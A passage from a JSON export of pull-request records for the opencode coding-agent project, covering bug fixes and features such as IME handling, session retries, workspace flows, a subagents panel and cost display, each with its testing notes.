        "text": "## Summary - consume the organization selected during Console device approval - persist the returned `org_id` instead of choosing the alphabetically first organization - fail login if the selected organization is no longer available Depends on anomalyco/opencode-console#953. Fixes #37161. ## Tests - `bun typecheck` (`packages/core`) - `bun test test/plugin/provider-opencode.test.ts`",
        "url": "https://github.com/anomalyco/opencode/pull/37298",
        "createdAt": "2026-07-16T13:47:49Z",
        "updatedAt": "2026-08-13T10:20:29Z",
        "timestamp": "2026-08-13T10:20:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "vimtor"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:37927",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(app): navigate tabs by selection history",
        "text": "## Summary - rename desktop menu navigation to Previous Tab and Next Tab - traverse tab selection history instead of visual tab order - skip closed tabs and duplicate entries for the active tab ## Testing - bun test --preload ./happydom.ts ./src/desktop-menu.test.ts ./src/context/tab-history.test.ts ./src/context/tabs.test.ts - bun typecheck - pre-push workspace typecheck",
        "url": "https://github.com/anomalyco/opencode/pull/37927",
        "createdAt": "2026-07-20T13:16:55Z",
        "updatedAt": "2026-08-12T23:35:54Z",
        "timestamp": "2026-08-12T23:35:54Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Hona",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38067",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): edge-trigger build-switch reminder instead of scanning full session history",
        "text": "### Issue for this PR Closes #38066 ### Type of change - [x] Bug fix ### What does this PR do? `SessionReminders.apply` (packages/opencode/src/session/reminders.ts) decides whether to inject the \"operational mode has changed from plan to build\" reminder using: ```ts const wasPlan = input.messages.some((msg) => msg.info.role === \"assistant\" && msg.info.agent === \"plan\") ``` This checks \"has this session ever contained a plan-agent message\" (scanning the full uncompacted history), not \"was the immediately preceding turn plan\". With only the built-in plan/build toggle this rarely matters, but opencode supports custom primary agents (docs/agents). Once a third primary agent is used between plan and build, `wasPlan` stays true from the old plan message and the reminder both mislabels the transition and can re-fire on every subsequent build turn. Fix: use `findLast` to check only the immediately preceding assistant message's agent, matching the pattern already used a few lines below in the `experimentalPlanMode` branch. ### How did you verify your code works? Manually reproduced against a real session: switched plan -> custom read-only agent (several turns) -> build. Confirmed the stale \"from plan to build\" banner still fires on unpatched code, and with this one-line logic change it correctly reflects the immediately preceding agent instead. Did not run the full monorepo test suite in my environment; there's no existing test file for reminders.ts to extend, happy to add one if pointed at a similar fixture. ### Screenshots / recordings N/A, not a UI change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38067",
        "createdAt": "2026-07-21T08:46:02Z",
        "updatedAt": "2026-08-13T02:20:49Z",
        "timestamp": "2026-08-13T02:20:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "Duo-Huang",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38274",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(desktop): add radio group button for switching agent mode",
        "text": "### Issue for this PR Closes #38277 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? This PR adds a toggle button to switch between the plan/build modes. It only shows as toggle button when there are exactly 2 options, in all other cases it will fallback to the dropdown behaviour. The new button reduces 1 click and is just easier to use when there only to options. The scope is only the desktop app. ### How did you verify your code works? Build the electron application locally and tested the changed views in the old v1 and new v2 ui. ### Screenshots / recordings **Before:** <img width=\"558\" height=\"150\" alt=\"image\" src=\"https://github.com/user-attachments/assets/6969d7f8-d9de-4ca7-aa7a-31a2a5b7a5d9\" /> **After:** V1 ui: <img width=\"561\" height=\"149\" alt=\"image\" src=\"https://github.com/user-attachments/assets/bae08a60-0513-436b-b8f7-3a2943b3f693\" /> V2 ui: <img width=\"543\" height=\"117\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4f2016a5-6a94-4ef4-909d-f311d1dfbb09\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR PS. The new UI currently has a bug causing it to hide the plan/build modes by default, this should be fixed in a separate PR.",
        "url": "https://github.com/anomalyco/opencode/pull/38274",
        "createdAt": "2026-07-22T09:23:20Z",
        "updatedAt": "2026-08-13T07:50:19Z",
        "timestamp": "2026-08-13T07:50:19Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "PallieterVerhoeven",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38314",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): reject invalid UTF-8 directory paths in serve",
        "text": "### Issue for this PR Closes #38235 Closes #37764 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? While running `opencode serve`, I got a session whose directory ended with two U+FFFD replacement characters: `.../bin/��`. The file picker rejected that path, and `prompt_async` failed because `FileSystem.realPath` tried to resolve it and got `ENOENT`. I could reproduce the same path shape with a malformed route segment. For example, `__8` decodes to the bytes `FF FF`, and the non-fatal `TextDecoder` turns those into `��`. The app uses that as the directory, and the SDK sends it as `%EF%BF%BD%EF%BF%BD` in `x-opencode-directory`. `InstanceContextMiddleware` decodes the header, then `InstanceStore` calls `path.resolve()` on the relative `��` value and ends up with `<cwd>/��`. That matches what showed up in my log. I do not have the original browser URL from that run, so `__8` is only a minimal reproduction of the bug, not a claim that it was the exact route segment. The database also had older session directories with literal U+FFFD characters, so values like this had already been persisted before. The fix makes `base64Decode` use a fatal UTF-8 decoder. The app's `decode64` wrapper already handles decode errors, so malformed route segments now go through the existing invalid-route behavior. For values that already contain U+FFFD, the HTTP routing, location, decoded instance context, and `InstanceStore.load`/`reload` paths fall back to `process.cwd()` instead of initializing that directory. ### How did you verify your code works? - `bun test test/server/httpapi-workspace-routing.test.ts test/project/instance.test.ts`: 18 passed, 0 failed - `bun turbo typecheck`: 30 tasks passed - `bun run script/build.ts --single --skip-embed-web-ui --skip-install`: built the Linux x64 binary and passed its `--version` smoke test - Reproduced `__8` -> `��` -> `%EF%BF%BD%EF%BF%BD` -> `<cwd>/��` with the old decoder, then confirmed the fatal decoder rejects the same bytes - Manually checked a valid non-ASCII base64 round trip I reproduced the original failure with `./opencode serve --log-level DEBUG --pure --print-logs`. I have not rerun that browser flow after adding the final instance-loading guard. ### Screenshots / recordings N/A ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38314",
        "createdAt": "2026-07-22T13:30:59Z",
        "updatedAt": "2026-08-13T02:23:15Z",
        "timestamp": "2026-08-13T02:23:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 6
        },
        "labels": [],
        "author": "extencil",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38345",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(desktop): Improve keyboard navigation and add accept button in open project dialog",
        "text": "### Issue for this PR Closes #38338 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? The Open Project dialog immediately resolved and closed when clicking a suggestion or pressing Enter, making it impossible to navigate into a subdirectory and continue. There was also no explicit confirm action. - Tab and Enter now navigate into the highlighted directory (appends `/` and refetches) instead of confirming - Clicking an item also navigates in rather than immediately opening the project - Added Cancel and Select Folder buttons the footer - Ctrl/Option+Enter or the button confirms the current path - Enter with no item highlighted confirms the current filter path directly ### How did you verify your code works? Tested locally: typed a partial path, navigated into suggestions with Enter and Tab, confirmed with the button and Ctrl+Enter. Verified backspace works normally in the input. ### Screenshots / recordings https://github.com/user-attachments/assets/44d73255-19ec-42f4-afc3-0e0e600e5a3f ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38345",
        "createdAt": "2026-07-22T15:53:55Z",
        "updatedAt": "2026-08-13T12:49:19Z",
        "timestamp": "2026-08-13T12:49:19Z",
        "metrics": {
          "reactions": 1,
          "comments": 3
        },
        "labels": [],
        "author": "razzeee",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38403",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(ui): standardize v2 tooltip delay",
        "text": "## Summary - standardize TooltipV2 hover delay at 400ms across the new layout - add an intent-delay mode for V2 model-picker details: 1s for the first tooltip, instant while moving directly between models, and reset after leaving - apply intent delay to paid and unpaid V2 model pickers used by session and new-session composers - isolate V2 model-preview warm state from Kobalte's global tooltip warm state so opening a picker always starts with the 1s delay - leave all legacy Tooltip behavior unchanged - add no tests, as requested ## Checks - `GOMAXPROCS=4 bun typecheck` from `packages/app` - `bun typecheck` from `packages/ui` - `bun typecheck` from `packages/session-ui` - focused intent timing check covering cold open, adjacent-model warm open, and reset after leaving - Prettier check on all changed files - `git diff --check` Requested by: @jayair (Jay V via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/38403",
        "createdAt": "2026-07-22T23:35:03Z",
        "updatedAt": "2026-08-12T23:35:57Z",
        "timestamp": "2026-08-12T23:35:57Z",
        "metrics": {
          "reactions": 0,
          "comments": 5
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38645",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): make file paths in read/grep/glob tool output clickable",
        "text": "### Issue for this PR Relates to #37891 (partial: TUI file-path click only, not desktop/web) ### Type of change - [x] New feature ### What does this PR do? Makes the summary line of `Read`, `Grep`, and `Glob` tool blocks in the TUI clickable. Clicking opens the referenced file (or search root for grep/glob) in `$VISUAL`/`$EDITOR`, falling back to `code`. I first tried emitting OSC8 terminal hyperlinks from tool output text, but that doesn't work: with `mouse: true` (the default), opencode's own OpenTUI mouse capture intercepts clicks before the terminal ever sees them, so terminal-native link features (tested in Warp) never fire. The TUI already has an `onMouseUp`-based `Link` component and `InlineTool` already exposes an `onClick` prop (used today by the `Task` block), so I reused that same mechanism instead of fighting the terminal. Added `openFileAtLocation()` in `packages/tui/src/editor.ts` — spawns the editor detached (non-blocking), appends `--goto file:line:col` for VS Code/Cursor/Codium/Windsurf when a line is known, otherwise passes the plain path (needed for grep/glob search roots, which can be directories). **Note:** I found #15631 after opening this, which covers overlapping ground with a broader scope and a different mechanism (OS-default-app `file://` links vs. editor-targeted `--goto`). Left details in the comments for maintainers to triage. ### How did you verify your code works? - `bun run typecheck` in `packages/tui` — passes clean, no errors. - `bun test --timeout 30000` in `packages/tui` — 191 pass, 1 skip (pre-existing, unrelated to this change), 0 fail. - Manually reviewed the new `onClick` wiring against the existing `Task` block's usage of the same `InlineTool`/`onClick` pattern. I don't have a way to click through the TUI interactively in my current environment, so I could not manually click-test the feature end-to-end — verification above is typecheck + full existing test suite passing with no regressions, not a manual interaction test. ### Screenshots / recordings Not included — I don't have a way to record the TUI in my current environment. Reviewers can verify by clicking a `Read`/`Grep`/`Glob` line locally. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38645",
        "createdAt": "2026-07-24T07:50:03Z",
        "updatedAt": "2026-08-13T03:45:18Z",
        "timestamp": "2026-08-13T03:45:18Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "albertofrzara",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38683",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(session): retry transient transport failures",
        "text": "### Issue for this PR Closes #30611 This replaces #30638, which was closed by automated cleanup. I rebased the change on the current `dev` branch, tightened the transport error handling, and limited retries for these failures. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Transport errors are often wrapped by the provider SDK, so checking only the top-level error misses failures such as dropped sockets and response timeouts. `MessageV2.fromError` now walks a bounded cause chain and recognizes transient Node, Bun, and Undici transport errors. Missing hosts, refused endpoints, and socket setup failures remain terminal. A plain `AbortError` still means the request was cancelled. Transport retries stop after five attempts. Existing retry behavior for rate limits and provider errors is unchanged. ### How did you verify your code works? `bun test test/session/message-v2.test.ts test/session/retry.test.ts` passes 107 tests. `bun typecheck` also passes in `packages/opencode`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38683",
        "createdAt": "2026-07-24T11:16:41Z",
        "updatedAt": "2026-08-12T16:11:59Z",
        "timestamp": "2026-08-12T16:11:59Z",
        "metrics": {
          "reactions": 3,
          "comments": 1
        },
        "labels": [],
        "author": "literally-dan",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38684",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(storage): index session list queries",
        "text": "### Issue for this PR Closes #30609 This replaces #30636, which was closed by automated cleanup. I rebased the change on the current `dev` branch and updated the indexes to match the queries now used by session lists. ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Session lists sort by update time, but the existing indexes cover only their filter columns. The project index is now `(project_id, time_updated)`, the root-session index is `(parent_id, time_updated, id)`, and the global list has `(time_updated, id)`. Project and parent lookups can still use the leftmost columns of those indexes. The migration replaces the old single-column indexes. It also handles databases that tested the earlier single-column `session_time_updated_idx`. ### How did you verify your code works? `bun test test/database-migration.test.ts` passes all 18 tests. `bun typecheck` and `bun script/migration.ts --check` also pass in `packages/core`. ### Screenshots / recordings Not applicable. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/38684",
        "createdAt": "2026-07-24T11:16:42Z",
        "updatedAt": "2026-08-12T16:09:21Z",
        "timestamp": "2026-08-12T16:09:21Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "literally-dan",
        "state": "open",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38728",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: keep prompt input inert during Safari IME composition",
        "text": "### Issue for this PR Closes #38674 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In Safari, typing CJK text in the web app prompt input misbehaves in two ways: the IME composition gets aborted mid-input, and the Enter that confirms a candidate submits the message with the raw pinyin still in it. Two causes, fixed in order: 1. Safari fires `compositionend` *before* the confirming Enter keydown, so that keydown reports `isComposing=false`. The first commits add a guard that treats any key event within 100ms of `compositionend` (tracked with `performance.now()`) as part of the IME confirmation, in both the v1 (`packages/app`) and v2 (`packages/session-ui`) editors. 2. That guard alone was not enough on a production deployment: the v2 editor still ran `dispatch`/`setState` on every keydown and read/wrote the selection on keyup/pointerup while composing. Safari reacts by aborting the composition after every letter, so `nihao` becomes five one-letter compositions and the final Enter arrives as a plain `keyCode=13` long after any `compositionend` — nothing left for the guard to recognize. The last commit makes the v2 editor completely inert while a composition is active (and during the 100ms window after it): no keydown dispatch, no cursor sync, no input handling, no editor DOM rewrites. State is reconciled once from the DOM on `compositionend`. With the editor inert, Safari keeps the composition as a single segment, the confirming Enter reports `keyCode=229`, and the existing guard catches it. Note: Enter committing the raw romaji (instead of 你好) is macOS Pinyin design — Space selects the candidate. The bug was that the app submitted the message on that Enter. **Follow-up in the last two commits — the placeholder overlapping the pre-edit text.** This one predates the fixes above and has no separate issue. The placeholder visibility is derived from the prompt *state* (`!controller.value()` in v2, `prompt.dirty()` in v1), but input events are deliberately ignored while a composition is in flight — that is exactly what the fixes above rely on. So during composition the editor shows `nihao` while the state is still empty, and `Ask anything, / for commands, @ for context...` keeps rendering underneath it until the text is committed. Both editors now track the editor's own `textContent` across `compositionstart` / `compositionupdate` / `input` / `compositionend` and hide the placeholder while it is non-empty. Only `textContent` is read — no DOM or selection mutation — so the composition stays intact. ### How did you verify your code works? - Real-device Safari 26 on macOS with macOS Pinyin and Japanese IMEs, against an instrumented build logging every composition/key event: `nihao` + Enter no longer submits and the text stays in the box, `nihao` + Space commits 你好, Japanese live conversion with multi-segment auto-commit is not interrupted, and plain-English Enter / Shift+Enter behavior is unchanged. Chrome regression-tested with the same IMEs. - Placeholder fix verified on a local dev build in Safari with Chinese and Japanese input: the placeholder disappears as soon as pre-edit text appears and comes back if the composition is cancelled. - `bun test` in `packages/session-ui` (78 pass) and `packages/app` (110 pass), plus `bun turbo typecheck` across the affected packages. ### Screenshots / recordings No visual change outside the prompt placeholder, which now hides as soon as IME pre-edit text appears instead of rendering underneath it. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR 🤖 Generated with [Claude Code](https://claude.com/claude-code)",
        "url": "https://github.com/anomalyco/opencode/pull/38728",
        "createdAt": "2026-07-24T17:19:02Z",
        "updatedAt": "2026-08-13T08:47:29Z",
        "timestamp": "2026-08-13T08:47:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "powoct",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:38790",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): add workspace flows to new layout",
        "text": "## What's New ### 🚀 Workspace Selection for New Sessions - **Start sessions where you want**: Choose between **Local repository**, spin up an isolated **New workspace**, or select from **Existing workspaces**. - **Context-aware composer pill**: The location selector shows branch context, respects project defaults (*Last used*, *Local*, or *New*), and includes a search box when there are 10+ workspaces. - **Onboarding tooltip & indicator**: A first-use hover tooltip explains workspace isolation, paired with a blue dot indicator on the trigger that automatically dismisses after your first workspace session. - **Direct settings access**: A \"View all\" action in the selector opens the workspaces inventory directly. ### 🔄 Moving Active Sessions - **Switch context on the fly**: Move an in-progress session between local checkouts and workspaces (or back to your local repository) from the session header or details panel. - **Queued prompt submission**: Submitting a prompt while creating a workspace queues the message and runs it immediately once the workspace becomes ready. - **Timeline lifecycle rows**: Clean status rows (*Creating workspace*, *Workspace created*, *Moving to workspace*, *Workspace set*) indicate setup progress right in the timeline. ### 📋 Session Details & Summary - **Session details card**: Displays workspace identity, current branch, base branch (*Based on {{branch}}*), and quick access to review file changes. - **Tucked quick-access callout**: A clean footer card with a dismissable callout (✕ on hover) and direct links to workspace settings. ### ⚙️ Workspaces Settings Page - **Full workspace inventory**: View all workspaces across projects with folder paths, creation and last-active timestamps, and linked sessions. - **Project filtering**: Quickly filter workspace lists by project. - **Safe single & bulk deletion**: Delete unused workspaces individually or in bulk, with safeguards preventing accidental deletion of the active workspace. ### 🎨 UI & Layout Polish - **Figma design alignment**: Refined timeline widths, row content insets, branch badge pill styling, and menu spacing. - **New icons**: Added `branch-out` icon for workspace branching visuals. - **Legacy file tree disabled in new layout**: Automatically turns off legacy file tree settings and commands when using the new layout. --- ### 🧪 Tests & Quality - **E2E regression suite**: 11 end-to-end tests covering new session creation, workspace search, settings management, deletion guards, session moves, and prompt submission queuing. - **Unit test suite**: Comprehensive unit tests covering workspace operations, prompt submission state machine, server sync/session handling, and timeline projections. - **Typecheck**: Passes all 30 package typechecks.",
        "url": "https://github.com/anomalyco/opencode/pull/38790",
        "createdAt": "2026-07-25T02:23:30Z",
        "updatedAt": "2026-08-13T10:25:52Z",
        "timestamp": "2026-08-13T10:25:52Z",
        "metrics": {
          "reactions": 2,
          "comments": 5
        },
        "labels": [
          "beta"
        ],
        "author": "Hona",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:39206",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): make file:// chat links clickable",
        "text": "### Issue for this PR Closes #37891 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? In the desktop app, `file://` links and absolute paths in chat looked clickable but did nothing. Two causes: 1. DOMPurify dropped `file:` hrefs (default URI allowlist is web-only). 2. The desktop click handler always called `shell.openExternal` via `open-link`, which is the wrong path for local files (and #38914 is tightening that further to http(s)-only). This PR: - Allows `file:` through the sanitizer **only on desktop** (`oc://` renderer / desktop API present). Web is unchanged. - On click: `file://` and absolute-path hrefs go through existing `openPath` / `revealPath` IPC (already used by the session header). Modifier-click (⌘/Ctrl/Alt) reveals in Finder/Explorer; plain click opens with the OS default app. - Hardens `open-link` to http(s) only so local paths never hit `openExternal`. - Turns absolute path chips in assistant markdown into `file://` links on desktop. Workspace-relative path chips and opening in the built-in editor tab are out of scope here. ### How did you verify your code works? ```bash cd packages/desktop && bun test src/main/external-link.test.ts src/renderer/file-link.test.ts cd packages/session-ui && bun test src/components/markdown-desktop.test.ts ``` All 15 tests pass. Unit coverage includes URI parsing (unix/windows/`file:`/line:col suffixes), `safeExternalUrl` rejection of non-http(s), and desktop path→href conversion. ### Screenshots / recordings _N/A — behavior change on click; no visual layout change beyond links remaining present after sanitize (they were stripped before)._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/39206",
        "createdAt": "2026-07-27T23:31:36Z",
        "updatedAt": "2026-08-13T03:45:12Z",
        "timestamp": "2026-08-13T03:45:12Z",
        "metrics": {
          "reactions": 1,
          "comments": 4
        },
        "labels": [],
        "author": "tauseefkhan-max",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:39382",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(app): add subagents tab to the session side panel",
        "text": "### Issue for this PR Closes #37267 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a \"Subagents\" tab to the session side panel, so subagent activity can be followed without it being buried by the main agent's log stream, the problem described in #37267. The tab lists each subagent spawned by the current session with its task name, status, cost, token usage and model. Clicking a row opens that subagent's session, which is the drill-down to its full output. Status comes from two places. Running/retrying is read from `session_status` in the sync store. Terminal states (completed / cancelled / failed) come from the parent session's `task` tool parts, the same source the CLI footer already uses in `packages/opencode/src/cli/cmd/run/subagent-data.ts`. The parent session is the one you have open, so its parts are already in the store and nothing extra is fetched. The child list is derived from the live sync store filtered by `parentID`, plus a one-shot backfill query for subagents created before the store's paginated window. No polling and no per-subagent requests. One part of the issue is not covered: there's no brief output summary on each row. Rows show status and usage, and you click through for the output. Happy to add a summary line if that's wanted. ### How did you verify your code works? `bun run test:unit` and `bun run test:solid` in `packages/app` (741 tests). The one worth looking at is `packages/app/test/session-agents-tab.test.tsx`: it mutates only `session_status` for one child and asserts the row's text changes while the DOM node stays identical. It fails if the row values stop being reactive, which is the mistake that makes this kind of list silently go stale. Manually: started the backend and the web app, spawned several subagents in one session, cancelled some mid-run and let others finish. The tab was opened once and never reopened, new subagents appeared on their own and statuses changed in place. ### Screenshots / recordings <img width=\"1600\" height=\"1000\" alt=\"01-FIXED-same-session-two-cancelled-rows\" src=\"https://github.com/user-attachments/assets/f7644010-b491-4b93-9551-8558db58a327\" /> <img width=\"974\" height=\"871\" alt=\"03-delta-live-running-Executando\" src=\"https://github.com/user-attachments/assets/4f1c11c1-606d-408f-ae90-ce993ba8250c\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/39382",
        "createdAt": "2026-07-28T18:10:20Z",
        "updatedAt": "2026-08-13T07:36:15Z",
        "timestamp": "2026-08-13T07:36:15Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "sdpfigueiredo",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:39473",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: retry truncated provider streams",
        "text": "### Issue for this PR Closes #37852 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? AI SDK synthesizes an `other` finish when a provider stream ends without a finish reason. OpenCode treated that as a completed `unknown` response, so a subagent could return an empty successful task result. This change converts that synthetic finish into a retryable stream error. It also propagates child assistant errors through the task tool, so retry exhaustion cannot become an empty success. ### How did you verify your code works? - Added tests to cover it - Tested locally, and the issue seems gone - 4 people tried it for ~24 hours, and they confirmed the bug is fixed ### Screenshots / recordings Not applicable: runtime-only change. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/39473",
        "createdAt": "2026-07-29T08:34:29Z",
        "updatedAt": "2026-08-13T01:27:50Z",
        "timestamp": "2026-08-13T01:27:50Z",
        "metrics": {
          "reactions": 1,
          "comments": 5
        },
        "labels": [],
        "author": "Davide95",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:39807",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "feat(tui): show optional daily session cost",
        "text": "### Issue for this PR Related to #39740. Session cost is already visible in the sidebar Context section, but users also need an optional total for all sessions updated today without running `opencode stats --days 1`. ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds an optional Today cost below the existing session spend in the sidebar Context section. The footer is unchanged. The display is: ```text $0.21 spent $0.56 today ``` When the current session's model has no pricing information (e.g. a custom model without a `cost` entry in the catalog or config), the spent line reads `N/A spent` instead of `$0.00 spent`, since the true cost cannot be derived. The footer session-cost display is unchanged. Today is calculated from every session in the shared local database updated since local midnight. It is therefore shared across concurrently running OpenCode terminals and each Context view refreshes it every 30 seconds. The current session spend is fetched from the persisted session record as well. If a value cannot be fetched, it is omitted. The Today line is disabled by default and appears only when `show_today_cost` is set to `true`. Create `~/.config/opencode/tui.json` if it does not exist: ```json { \"$schema\": \"https://opencode.ai/tui.json\", \"show_today_cost\": true } ``` A project-local `.opencode/tui.json` can also be used. The daily aggregation is exposed through the typed session API and does not shell out to `opencode stats --days 1`. ### Why the diff touches so many files The hand-written change is small: the endpoint (`packages/protocol/src/groups/session.ts`, `packages/server/src/handlers/session.ts`, `packages/core/src/session.ts`), the TUI config flag, and the sidebar Context view (including the `N/A spent` fallback). Everything else is regenerated output: - `packages/client/src/generated-effect/client.ts` and `packages/client/src/generated/*.ts` — generated by `@opencode-ai/httpapi-codegen` (`// Do not edit` header), adding the typed `session.cost` client method. The endpoint is registered last in the session group so the generator's positional `Endpoint3_N` constants keep their existing names and the generated diff is append-only. Route matching is unaffected: the router (`find-my-way-ts`) prioritizes the static `/api/session/cost` segment over `/api/session/:sessionID` regardless of registration order. - `packages/sdk/js/src/v2/gen/*.ts` — the hey-api codegen adding the same `cost()` method to the SDK. - `packages/plugin/src/tui.ts` — the `TuiConfigView` type gains the resolved `show_today_cost` field so plugins see the setting. - `packages/opencode/src/cli/cmd/stats.ts` — refactored to reuse the new `sumSessionCosts` helper instead of accumulating cost inline (same output, one code path for cost summation). Note on attribution: the total sums the full `cost` of every session with `time_updated` since local midnight. A long-running session that started yesterday and is touched today counts its entire cost toward today. This is a deliberate simplification for a glanceable stat; exact per-day attribution would require message-level aggregation. ### How did you verify your code works? - `bun typecheck` passed in `packages/plugin`, `packages/sdk/js`, and `packages/tui`. - The focused session-cost test passed. - Built and smoke-tested the local Linux binary with `--version`. - Rebased onto the latest `origin/dev` before updating this PR. - Confirmed the sidebar shows `N/A spent` when the session model has no pricing and the currency amount when it does. The repository-wide pre-push typecheck is currently blocked by unrelated AWS stats client type errors and a Bun/tsgo segmentation fault. ### Screenshots / recordings This is a terminal UI change. Expected sidebar Context output with the setting enabled: ```text Context 12,345 tokens 42% used $0.21 spent $0.56 today ``` For a model without pricing information: ```text Context 12,345 tokens 42% used N/A spent ``` ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/39807",
        "createdAt": "2026-07-31T04:40:41Z",
        "updatedAt": "2026-08-13T12:03:50Z",
        "timestamp": "2026-08-13T12:03:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "zbcoding",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:39863",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): show N/A spent for models without pricing",
